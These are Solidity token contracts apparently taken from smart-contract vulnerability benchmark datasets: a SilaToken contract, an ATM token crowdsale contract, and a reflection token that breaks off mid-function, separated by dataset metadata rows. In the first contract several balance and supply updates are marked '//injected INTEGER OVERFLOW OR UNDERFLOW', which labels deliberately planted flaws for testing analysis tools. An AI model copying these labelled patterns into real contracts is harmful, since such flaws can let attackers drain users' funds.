// view all the authorized addresses
function viewAuthorized() external view returns(address[] memory _authorizedAddresses){
return authorizedAddresses;
}
// check if the address is authorized
function isAuthorized(address _authorized) external view returns(bool _isauthorized){
return authorized[_authorized];
}
}
contract EmergencyToggle is Ownable{
//variable to pause the entire contract if true
bool public emergencyFlag;
//constructor
constructor () public{
emergencyFlag = false;
}
function emergencyToggle() external onlyHotOwner{
emergencyFlag = !emergencyFlag;
}
}
contract Betalist is Authorizable,EmergencyToggle{
//maps for betalisted and blacklisted addresses
mapping(address=>bool) betalisted;
mapping(address=>bool) blacklisted;
//events for betalist and blacklist
event BetalistedAddress (address indexed _betalisted);
event BlacklistedAddress (address indexed _blacklisted);
event RemovedFromBlacklist(address indexed _toRemoveBlacklist);
event RemovedFromBetalist(address indexed _toRemoveBetalist);
//variable to check if betalist is required when calling several functions on smart contract
bool public requireBetalisted;
//constructor
constructor () public{
requireBetalisted=true;
}
function betalistAddress(address _toBetalist) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_toBetalist != address(0));
require(!blacklisted[_toBetalist]);
require(!betalisted[_toBetalist]);
betalisted[_toBetalist]=true;
emit BetalistedAddress(_toBetalist);
return true;
}
function removeAddressFromBetalist(address _toRemoveBetalist) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_toRemoveBetalist != address(0));
require(betalisted[_toRemoveBetalist]);
betalisted[_toRemoveBetalist]=false;
emit RemovedFromBetalist(_toRemoveBetalist);
return true;
}
function blacklistAddress(address _toBlacklist) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_toBlacklist != address(0));
require(!blacklisted[_toBlacklist]);
blacklisted[_toBlacklist]=true;
emit RemovedFromBlacklist(_toBlacklist);
return true;
}
function removeAddressFromBlacklist(address _toRemoveBlacklist) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_toRemoveBlacklist != address(0));
require(blacklisted[_toRemoveBlacklist]);
blacklisted[_toRemoveBlacklist]=false;
emit RemovedFromBlacklist(_toRemoveBlacklist);
return true;
}
function isBetaListed(address _betalisted) external view returns(bool){
return (betalisted[_betalisted]);
}
function isBlackListed(address _blacklisted) external view returns(bool){
return (blacklisted[_blacklisted]);
}
}
contract Token{
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token,Betalist{
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner,address _spender)public view returns (uint256){
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!emergencyFlag);
require(_value <= balances[msg.sender]);
require(_to != address(0));
if (requireBetalisted){
require(betalisted[_to]);
require(betalisted[msg.sender]);
}
require(!blacklisted[msg.sender]);
require(!blacklisted[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!emergencyFlag);
if (requireBetalisted){
require(betalisted[msg.sender]);
require(betalisted[_spender]);
}
require(!blacklisted[msg.sender]);
require(!blacklisted[_spender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from,address _to,uint256 _value)public returns (bool){
require(!emergencyFlag);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
if (requireBetalisted){
require(betalisted[_to]);
require(betalisted[_from]);
require(betalisted[msg.sender]);
}
require(!blacklisted[_to]);
require(!blacklisted[_from]);
require(!blacklisted[msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract AssignOperator is StandardToken{
//mappings
mapping(address=>mapping(address=>bool)) isOperator;
//Events
event AssignedOperator (address indexed _operator,address indexed _for);
event OperatorTransfer (address indexed _developer,address indexed _from,address indexed _to,uint _amount);
event RemovedOperator (address indexed _operator,address indexed _for);
function assignOperator(address _developer,address _user) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_developer != address(0));
require(_user != address(0));
require(!isOperator[_developer][_user]);
if(requireBetalisted){
require(betalisted[_user]);
require(betalisted[_developer]);
}
require(!blacklisted[_developer]);
require(!blacklisted[_user]);
isOperator[_developer][_user]=true;
emit AssignedOperator(_developer,_user);
return true;
}
function removeOperator(address _developer,address _user) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_developer != address(0));
require(_user != address(0));
require(isOperator[_developer][_user]);
isOperator[_developer][_user]=false;
emit RemovedOperator(_developer,_user);
return true;
}
function operatorTransfer(address _from,address _to,uint _amount) public returns (bool){
require(!emergencyFlag);
require(isOperator[msg.sender][_from]);
require(_amount <= balances[_from]);
require(_from != address(0));
require(_to != address(0));
if (requireBetalisted){
require(betalisted[_to]);
require(betalisted[_from]);
require(betalisted[msg.sender]);
}
require(!blacklisted[_to]);
require(!blacklisted[_from]);
require(!blacklisted[msg.sender]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit OperatorTransfer(msg.sender,_from, _to, _amount);
emit Transfer(_from,_to,_amount);
return true;
}
function checkIsOperator(address _developer,address _for) external view returns (bool){
return (isOperator[_developer][_for]);
}
}
contract SilaToken is AssignOperator{
using SafeMath for uint256;
// parameters for silatoken
string public constant name = "SilaToken";
string public constant symbol = "SILA";
uint256 public constant decimals = 18;
string public version = "1.0";
//Events fired during successfull execution of main silatoken functions
event Issued(address indexed _to,uint256 _value);
event Redeemed(address indexed _from,uint256 _amount);
event ProtectedTransfer(address indexed _from,address indexed _to,uint256 _amount);
event ProtectedApproval(address indexed _owner,address indexed _spender,uint256 _amount);
event GlobalLaunchSila(address indexed _launcher);
function issue(address _to, uint256 _amount) public onlyAuthorized returns (bool) {
require(!emergencyFlag);
require(_to !=address(0));
if (requireBetalisted){
require(betalisted[_to]);
}
require(!blacklisted[_to]);
totalSupply = totalSupply.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Issued(_to, _amount);
return true;
}
function redeem(address _from,uint256 _amount) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_from != address(0));
require(_amount <= balances[_from]);
if(requireBetalisted){
require(betalisted[_from]);
}
require(!blacklisted[_from]);
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Redeemed(_from,_amount);
return true;
}
function protectedTransfer(address _from,address _to,uint256 _amount) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_amount <= balances[_from]);
require(_from != address(0));
require(_to != address(0));
if (requireBetalisted){
require(betalisted[_to]);
require(betalisted[_from]);
}
require(!blacklisted[_to]);
require(!blacklisted[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit ProtectedTransfer(_from, _to, _amount);
emit Transfer(_from,_to,_amount);
return true;
}
function globalLaunchSila() public onlyHotOwner{
require(!emergencyFlag);
require(requireBetalisted);
requireBetalisted=false;
emit GlobalLaunchSila(msg.sender);
}
function batchIssue(address[] memory _toAddresses,uint256[] memory _amounts) public onlyAuthorized returns(bool) {
require(!emergencyFlag);
require(_toAddresses.length==_amounts.length);
for(uint i = 0; i < _toAddresses.length; i++) {
bool check=issue(_toAddresses[i],_amounts[i]);
require(check);
}
return true;
}
function batchRedeem(address[] memory _fromAddresses,uint256[] memory _amounts) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_fromAddresses.length==_amounts.length);
for(uint i = 0; i < _fromAddresses.length; i++) {
bool check=redeem(_fromAddresses[i],_amounts[i]);
require(check);
}
return true;
}
function protectedBatchTransfer(address[] memory _fromAddresses,address[] memory _toAddresses,uint256[] memory _amounts) public onlyAuthorized returns(bool){
require(!emergencyFlag);
require(_fromAddresses.length==_amounts.length);
require(_toAddresses.length==_amounts.length);
require(_fromAddresses.length==_toAddresses.length);
for(uint i = 0; i < _fromAddresses.length; i++) {
bool check=protectedTransfer(_fromAddresses[i],_toAddresses[i],_amounts[i]);
require(check);
}
return true;
}
}
| 280,222 | 14,165 |
03bc4ca22090c11c23db21ff7dadc7fd9240bdcb0d7ebb5c0d727e8887f0376c
| 16,273 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb23fecec4202b868c228ac0a59cc12a9f93bd605.sol
| 4,532 | 15,668 |
pragma solidity ^0.4.11;
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner) ;
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract StandardToken is ERC20Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
if ((_value!=0) && (allowed[msg.sender][_spender] !=0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ATMToken is StandardToken, Owned {
string public constant name = "Attention Token of Media";
string public constant symbol = "ATM";
string public version = "1.0";
uint256 public constant decimals = 8;
bool public disabled;
mapping(address => bool) public isATMHolder;
address[] public ATMHolders;
function ATMToken(uint256 _amount) {
totalSupply = _amount;
balances[msg.sender] = _amount;
}
function getATMTotalSupply() external constant returns(uint256) {
return totalSupply;
}
function getATMHoldersNumber() external constant returns(uint256) {
return ATMHolders.length;
}
function setDisabled(bool flag) external onlyOwner {
disabled = flag;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(!disabled);
if(isATMHolder[_to] == false){
isATMHolder[_to] = true;
ATMHolders.push(_to);
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(!disabled);
if(isATMHolder[_to] == false){
isATMHolder[_to] = true;
ATMHolders.push(_to);
}
return super.transferFrom(_from, _to, _value);
}
function kill() external onlyOwner {
selfdestruct(owner);
}
}
contract Contribution is SafeMath, Owned {
uint256 public constant MIN_FUND = (0.01 ether);
uint256 public constant CRAWDSALE_START_DAY = 1;
uint256 public constant CRAWDSALE_END_DAY = 7;
uint256 public dayCycle = 24 hours;
uint256 public fundingStartTime = 0;
address public ethFundDeposit = 0;
address public investorDeposit = 0;
bool public isFinalize = false;
bool public isPause = false;
mapping (uint => uint) public dailyTotals;
mapping (uint => mapping (address => uint)) public userBuys;
uint256 public totalContributedETH = 0;
event LogBuy (uint window, address user, uint amount);
event LogCreate (address ethFundDeposit, address investorDeposit, uint fundingStartTime, uint dayCycle);
event LogFinalize (uint finalizeTime);
event LogPause (uint finalizeTime, bool pause);
function Contribution (address _ethFundDeposit, address _investorDeposit, uint256 _fundingStartTime, uint256 _dayCycle) {
require(now < _fundingStartTime);
require(_ethFundDeposit != address(0));
fundingStartTime = _fundingStartTime;
dayCycle = _dayCycle;
ethFundDeposit = _ethFundDeposit;
investorDeposit = _investorDeposit;
LogCreate(_ethFundDeposit, _investorDeposit, _fundingStartTime,_dayCycle);
}
function () payable {
require(!isPause);
require(!isFinalize);
require(msg.value >= MIN_FUND);
ethFundDeposit.transfer(msg.value);
buy(today(), msg.sender, msg.value);
}
function importExchangeSale(uint256 day, address _exchangeAddr, uint _amount) onlyOwner {
buy(day, _exchangeAddr, _amount);
}
function buy(uint256 day, address _addr, uint256 _amount) internal {
require(day >= CRAWDSALE_START_DAY && day <= CRAWDSALE_END_DAY);
userBuys[day][_addr] += _amount;
dailyTotals[day] += _amount;
totalContributedETH += _amount;
LogBuy(day, _addr, _amount);
}
function kill() onlyOwner {
selfdestruct(owner);
}
function pause(bool _isPause) onlyOwner {
isPause = _isPause;
LogPause(now,_isPause);
}
function finalize() onlyOwner {
isFinalize = true;
LogFinalize(now);
}
function today() constant returns (uint) {
return sub(now, fundingStartTime) / dayCycle + 1;
}
}
contract ATMint is SafeMath, Owned {
ATMToken public atmToken;
Contribution public contribution;
uint128 public fundingStartTime = 0;
uint256 public lockStartTime = 0;
uint256 public constant MIN_FUND = (0.01 ether);
uint256 public constant CRAWDSALE_START_DAY = 1;
uint256 public constant CRAWDSALE_EARLYBIRD_END_DAY = 3;
uint256 public constant CRAWDSALE_END_DAY = 7;
uint256 public constant THAW_CYCLE_USER = 6 ;
uint256 public constant THAW_CYCLE_FUNDER = 6 ;
uint256 public constant THAW_CYCLE_LENGTH = 30;
uint256 public constant decimals = 8;
uint256 public constant MILLION = (10**6 * 10**decimals);
uint256 public constant tokenTotal = 10000 * MILLION;
uint256 public constant tokenToFounder = 800 * MILLION;
uint256 public constant tokenToReserve = 5000 * MILLION;
uint256 public constant tokenToContributor = 4000 * MILLION;
uint256[] public tokenToReward = [0, (120 * MILLION), (50 * MILLION), (30 * MILLION), 0, 0, 0, 0];
bool doOnce = false;
mapping (address => bool) public collected;
mapping (address => uint) public contributedToken;
mapping (address => uint) public unClaimedToken;
event LogRegister (address contributionAddr, address ATMTokenAddr);
event LogCollect (address user, uint spendETHAmount, uint getATMAmount);
event LogMigrate (address user, uint balance);
event LogClaim (address user, uint claimNumberNow, uint unclaimedTotal, uint totalContributed);
event LogClaimReward (address user, uint claimNumber);
function initialize (address _contribution) onlyOwner {
require(_contribution != address(0));
contribution = Contribution(_contribution);
atmToken = new ATMToken(tokenTotal);
setLockStartTime(now);
lockToken(contribution.ethFundDeposit(), tokenToReserve);
lockToken(contribution.investorDeposit(), tokenToFounder);
claimUserToken(contribution.investorDeposit());
claimFoundationToken();
LogRegister(_contribution, atmToken);
}
function collect(address _user) {
require(!collected[_user]);
uint128 dailyContributedETH = 0;
uint128 userContributedETH = 0;
uint128 userTotalContributedETH = 0;
uint128 reward = 0;
uint128 rate = 0;
uint128 totalATMToken = 0;
uint128 rewardRate = 0;
collected[_user] = true;
for (uint day = CRAWDSALE_START_DAY; day <= CRAWDSALE_END_DAY; day++) {
dailyContributedETH = cast(contribution.dailyTotals(day));
userContributedETH = cast(contribution.userBuys(day,_user));
if (dailyContributedETH > 0 && userContributedETH > 0) {
rewardRate = wdiv(cast(tokenToReward[day]), dailyContributedETH);
reward += wmul(userContributedETH, rewardRate);
userTotalContributedETH += userContributedETH;
}
}
rate = wdiv(cast(tokenToContributor), cast(contribution.totalContributedETH()));
totalATMToken = wmul(rate, userTotalContributedETH);
totalATMToken += reward;
lockToken(_user, totalATMToken);
claimUserToken(_user);
LogCollect(_user, userTotalContributedETH, totalATMToken);
}
function lockToken(address _user,
uint256 _amount) internal {
require(_user != address(0));
contributedToken[_user] += _amount;
unClaimedToken[_user] += _amount;
}
function setLockStartTime(uint256 _time) internal {
lockStartTime = _time;
}
function cast(uint256 _x) constant internal returns (uint128 z) {
require((z = uint128(_x)) == _x);
}
function claimReward(address _founder) onlyOwner {
require(_founder != address(0));
require(lockStartTime != 0);
require(doOnce == false);
uint256 rewards = 0;
for (uint day = CRAWDSALE_START_DAY; day <= CRAWDSALE_EARLYBIRD_END_DAY; day++) {
if(contribution.dailyTotals(day) == 0){
rewards += tokenToReward[day];
}
}
atmToken.transfer(_founder, rewards);
doOnce = true;
LogClaimReward(_founder, rewards);
}
function claimFoundationToken() {
require(msg.sender == owner || msg.sender == contribution.ethFundDeposit());
claimToken(contribution.ethFundDeposit(),THAW_CYCLE_FUNDER);
}
function claimUserToken(address _user) {
claimToken(_user,THAW_CYCLE_USER);
}
function claimToken(address _user, uint256 _stages) internal {
if (unClaimedToken[_user] == 0) {
return;
}
uint256 currentStage = sub(now, lockStartTime) / (60*60) +1;
if (currentStage == 0) {
return;
} else if (currentStage > _stages) {
currentStage = _stages;
}
uint256 lockStages = _stages - currentStage;
uint256 unClaimed = (contributedToken[_user] * lockStages) / _stages;
if (unClaimedToken[_user] <= unClaimed) {
return;
}
uint256 tmp = unClaimedToken[_user] - unClaimed;
unClaimedToken[_user] = unClaimed;
atmToken.transfer(_user, tmp);
LogClaim(_user, tmp, unClaimed,contributedToken[_user]);
}
function disableATMExchange() onlyOwner {
atmToken.setDisabled(true);
}
function enableATMExchange() onlyOwner {
atmToken.setDisabled(false);
}
function migrateUserData() onlyOwner {
for (var i=0; i< atmToken.getATMHoldersNumber(); i++){
LogMigrate(atmToken.ATMHolders(i), atmToken.balances(atmToken.ATMHolders(i)));
}
}
function kill() onlyOwner {
atmToken.kill();
selfdestruct(owner);
}
}
| 165,151 | 14,166 |
a33e1fba735f6d1cf04d3fca070592605b419410d2a0dc80ff48c794869f259e
| 26,526 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/09/09b6d1e614ffaa92e56348722ed3042663eb8d6a_Shiba.sol
| 4,554 | 16,742 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shiba is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'RunCoin';
string private _symbol = 'RC';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
